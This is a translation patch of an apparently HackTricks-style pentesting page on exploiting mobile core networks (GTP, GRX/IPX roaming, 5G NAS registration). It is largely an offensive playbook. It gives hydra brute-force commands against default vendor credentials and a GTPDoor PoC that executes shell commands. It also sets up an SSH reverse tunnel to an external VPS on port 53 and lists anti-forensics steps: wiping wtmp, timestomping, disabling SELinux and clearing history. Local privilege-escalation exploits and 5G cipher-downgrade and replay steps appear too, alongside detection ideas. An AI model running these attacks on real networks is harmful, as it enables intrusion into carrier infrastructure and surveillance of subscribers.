From 53b10dd3da7e13fd342347541103ae95ff82b5da Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 7 Sep 2025 20:10:40 +0000 Subject: [PATCH] Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw --- .../telecom-network-exploitation.md | 191 ++++++++++++++---- 1 file changed, 149 insertions(+), 42 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index 5a76a20ff..7ee1d34ac 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -1,27 +1,27 @@ -# Telecom Network Exploitation (GTP / Roaming Environments) +# Sfruttamento delle Reti Telecom (GTP / Ambienti di Roaming) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-fidati. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, **qualsiasi punto d'accesso all'interno di un perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core**. Le seguenti note raccolgono trucchi offensivi osservati sul campo contro SGSN/GGSN, PGW/SGW e altri nodi EPC. +> I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-affidabili. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, **qualsiasi accesso all'interno del perimetro telecom può solitamente raggiungere direttamente i piani di signalling core**. Le note seguenti raccolgono trucchi offensivi osservati in natura contro SGSN/GGSN, PGW/SGW e altri nodi EPC. -## 1. Recon & Initial Access +## 1. Ricognizione e Accesso Iniziale -### 1.1 Default OSS / NE Accounts -Un insieme sorprendentemente ampio di elementi di rete dei fornitori viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una lista di parole dedicata aumenta drasticamente il successo del brute-force: +### 1.1 Account OSS / NE di default +Un numero sorprendentemente elevato di elementi di rete dei vendor viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -Se il dispositivo espone solo un VRF di gestione, pivotare prima attraverso un jump host (vedere la sezione «SGSN Emu Tunnel» qui sotto). +Se il dispositivo espone solo una management VRF, effettua prima il pivot tramite un jump host (vedi sezione «SGSN Emu Tunnel» qui sotto). -### 1.2 Scoperta degli Host all'interno di GRX/IPX -La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combinare `masscan` con le sonde UDP `gtpv1` integrate per mappare rapidamente i listener GTP-C: +### 1.2 Rilevamento degli host all'interno di GRX/IPX +La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le sonde UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` -## 2. Enumerazione degli Abbonati – `cordscan` +## 2. Enumerating Subscribers – `cordscan` -Il seguente strumento Go crea pacchetti di **Richiesta di Creazione del Contesto PDP GTP-C** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogato e, a volte, il PLMN visitato dall'abbonato. +Il seguente strumento Go crea pacchetti **GTP-C Create PDP Context Request** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogata e, talvolta, il PLMN visitato dall'abbonato. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` -Flag principali: +Opzioni principali: - `--imsi` IMSI dell'abbonato target - `--oper` Home / HNI (MCC+MNC) -- `-w` Scrivi pacchetti grezzi in pcap +- `-w` Scrive pacchetti raw in un file pcap -Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni: +Costanti importanti all'interno del binario possono essere modificate per ampliare le scansioni: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` -## 3. Esecuzione di Codice su GTP – `GTPDoor` +## 3. Esecuzione di codice su GTP – `GTPDoor` -`GTPDoor` è un piccolo servizio ELF che **lega UDP 2123 e analizza ogni pacchetto GTP-C in arrivo**. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. L'output stdout/stderr viene estratto all'interno dei messaggi **Echo Response** in modo che non venga mai creata una sessione esterna. +`GTPDoor` è un piccolo servizio ELF che **binds UDP 2123 and parses every incoming GTP-C packet**. Quando il payload inizia con un tag pre-condiviso, il resto viene decriptato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno di messaggi **Echo Response** in modo che non venga mai creata una sessione esterna. Pacchetto PoC minimo (Python): ```python @@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Rilevamento: -* qualsiasi host che invia **Richieste Echo sbilanciate** agli IP SGSN -* flag di versione GTP impostato su 1 mentre il tipo di messaggio = 1 (Echo) – deviazione dalle specifiche +* qualsiasi host che invii **unbalanced Echo Requests** agli IP SGSN +* flag versione GTP impostato a 1 mentre message type = 1 (Echo) – deviazione dalla specifica ## 4. Pivoting Through the Core ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un contesto PDP verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal peer in roaming. +`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un PDP context verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal roaming peer. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -Con un corretto hair-pinning del firewall, questo tunnel bypassa i VLAN solo per il segnale e ti porta direttamente nel **data plane**. +Con un corretto firewall hair-pinning, questo tunnel aggira le signalling-only VLANs e ti porta direttamente nel **data plane**. -### 4.2 Tunnel SSH Reverse sulla Porta 53 -Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno al tuo VPS in ascolto su :53 e tornare più tardi da casa: +### 4.2 SSH Reverse Tunnel over Port 53 +DNS è quasi sempre aperto nelle infrastrutture roaming. Esporre un servizio SSH interno sul tuo VPS in ascolto su :53 e riconnettersi più tardi da casa: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` -Controlla che `GatewayPorts yes` sia abilitato sul VPS. +Verifica che `GatewayPorts yes` sia abilitato sul VPS. -## 5. Canali Clandestini +## 5. Canali nascosti | Canale | Trasporto | Decodifica | Note | -|--------|-----------|------------|------| -| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | chiave di 4 byte + chunk di 14 byte (XOR) | ascoltatore puramente passivo, nessun traffico in uscita | -| DNS – `NoDepDNS` | UDP 53 | XOR (chiave = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sottodominio `*.nodep` | -| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE privato | si mescola con il legittimo scambio GTP-C | +|--------|-----------|-----------|------| +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener passivo puro, nessun traffico in uscita | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sotto-dominio `*.nodep` | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | si mimetizza nel traffico GTP legittimo | -Tutti gli impianti implementano watchdog che **timestomp** i loro binari e si riavviano se si bloccano. +Tutti gli implants implementano watchdogs che **timestomp** i loro binari e re-spawnano in caso di crash. -## 6. Scheda di Evasione della Difesa +## 6. Cheatsheet per Defense Evasion ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp @@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` -## 7. Escalazione dei privilegi su NE legacy +## 7. Privilege Escalation su Legacy NE ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd @@ -111,30 +111,137 @@ python3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156 python3 exploit_userspec.py ``` -Suggerimento per la pulizia: +Suggerimento per il clean-up: ```bash userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` ## 8. Strumenti -* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – strumenti personalizzati descritti nelle sezioni precedenti. -* `FScan` : scansioni TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`) -* `Responder` : LLMNR/NBT-NS WPAD malevolo +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – tooling personalizzati descritti nelle sezioni precedenti. +* `FScan` : scansioni TCP della intranet (`fscan -p 22,80,443 10.0.0.0/24`) +* `Responder` : LLMNR/NBT-NS rogue WPAD * `Microsocks` + `ProxyChains` : pivoting SOCKS5 leggero -* `FRP` (≥0.37) : attraversamento NAT / bridging delle risorse +* `FRP` (≥0.37) : attraversamento NAT / bridging di asset + +## 9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade a EEA0/EIA0, e NAS replay + +La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la security NAS non viene attivata da Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security abilita molteplici vettori di attacco quando è possibile osservare o manomettere il traffico N2 (es. on-path all'interno del core, rogue gNB, o testbed). + +Flusso di registrazione (semplificato): +- Registration Request: l'UE invia SUCI (SUPI cifrato) e capabilities. +- Authentication: AMF/AUSF inviano RAND/AUTN; l'UE restituisce RES*. +- Security Mode Command/Complete: vengono negoziati e attivati integrità e cifratura NAS. +- PDU Session Establishment: configurazione IP/QoS. + +Consigli per il laboratorio (non-RF): +- Core: il deployment di default di Open5GS è sufficiente per riprodurre i flussi. +- UE: simulatore o UE di test; decodificare con Wireshark. +- Tool attivi: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). +- Filtri utili in Wireshark: +- ngap.procedure_code == 15 (InitialUEMessage) +- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) + +### 9.1 Privacy degli identificatori: SUCI failures che espongono SUPI/IMSI +Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato. + +Come testare: +- Catturare il primo messaggio NAS in InitialUEMessage e ispezionare il Mobile Identity IE. +- Controlli rapidi in Wireshark: +- Dovrebbe decodificare come SUCI, non come IMSI. +- Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe esistere; l'assenza insieme alla presenza di `imsi` indica esposizione. + +Cosa raccogliere: +- MCC/MNC/MSIN se esposti; registrare per UE e tracciare nel tempo/luoghi. + +Mitigazione: +- Forzare UE/USIM ad usare solo SUCI; generare allerta su qualsiasi IMSI/SUPI nel NAS iniziale. + +### 9.2 Riduzione delle capability verso algoritmi nulli (EEA0/EIA0) +Contesto: +- L'UE dichiara gli EEA supportati (encryption) e gli EIA (integrity) nel UE Security Capability IE della Registration Request. +- Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi nulli. + +Problema: +- Poiché la Registration Request non è protetta da integrità, un attaccante on-path può azzerare i bit di capability per costringere la selezione di EEA0/EIA0 successivamente durante il Security Mode Command. Alcuni stack consentono erroneamente algoritmi nulli anche al di fuori dei servizi di emergenza. + +Passi offensivi: +- Intercettare InitialUEMessage e modificare il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0. +- Con Sni5Gect, agganciare il messaggio NAS e patchare i bit di capability prima di inoltrarlo. +- Osservare se l'AMF accetta cifrature/integrità nulle e completa il Security Mode con EEA0/EIA0. + +Verifica/visibilità: +- In Wireshark, confermare gli algoritmi selezionati dopo Security Mode Command/Complete. +- Esempio di output di uno sniffer passivo: +``` +Encyrption in use [EEA0] +Integrity in use [EIA0, EIA1, EIA2] +SUPI (MCC+MNC+MSIN) 9997000000001 +``` +Mitigazioni (obbligatorie): +- Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente obbligatorio (es., chiamate di emergenza). +- Preferire l'applicazione di EEA2/EIA2 come minimo; registrare e allertare su qualsiasi contesto di sicurezza NAS che negozia algoritmi null. + +### 9.3 Replay della initial Registration Request (pre-security NAS) +Poiché il NAS iniziale manca di integrità e freschezza, un InitialUEMessage+Registration Request catturato può essere riprodotto verso l'AMF. + +Regola PoC per 5GReplay per inoltrare i replay corrispondenti: +```xml + + + + + + + + + + + +``` +Cosa osservare: +- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure. + +Mitigazioni: +- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE. + +### 9.4 Tooling pointers (reproducible) +- Open5GS: avviare un AMF/SMF/UPF per emulare il core; osservare N2 (NGAP) e NAS. +- Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registration. +- 5GReplay: catturare una registration, poi replay di specifici NGAP + NAS messages secondo la regola. +- Sni5Gect: live sniff/modify/inject NAS control-plane per costringere null algorithms o perturbare authentication sequences. + +### 9.5 Defensive checklist +- Ispezionare continuamente le Registration Request per plaintext SUPI/IMSI; bloccare i dispositivi/USIMs offenders. +- Rifiutare EEA0/EIA0 tranne che per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2. +- Rilevare infrastrutture rogue o mal configurate: unauthorized gNB/AMF, unexpected N2 peers. +- Allertare su NAS security modes che risultano in null algorithms o frequenti replay di InitialUEMessage. --- -## Idee di Rilevamento -1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce richieste di creazione del contesto PDP**. -2. **Porte non standard (53, 80, 443) che ricevono handshake SSH** da IP interni. -3. **Richieste Echo frequenti senza corrispondenti Risposte Echo** – potrebbero indicare beacon GTPDoor. -4. **Alta frequenza di traffico ICMP echo-reply con campi identificatore/sequence grandi e non nulli**. +## Idee per la rilevazione +1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. +2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. +3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons. +4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. +5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). +6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts. ## Riferimenti -- [Palo Alto Unit42 – Infiltrazione delle reti telecom globali](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) -- 3GPP TS 29.060 – Protocollo di tunneling GPRS (v16.4.0) +- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) +- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.281 – GTPv2-C (v17.6.0) +- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) +- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS +- 3GPP TS 33.501 – Security architecture and procedures for 5G System {{#include ../../banners/hacktricks-training.md}}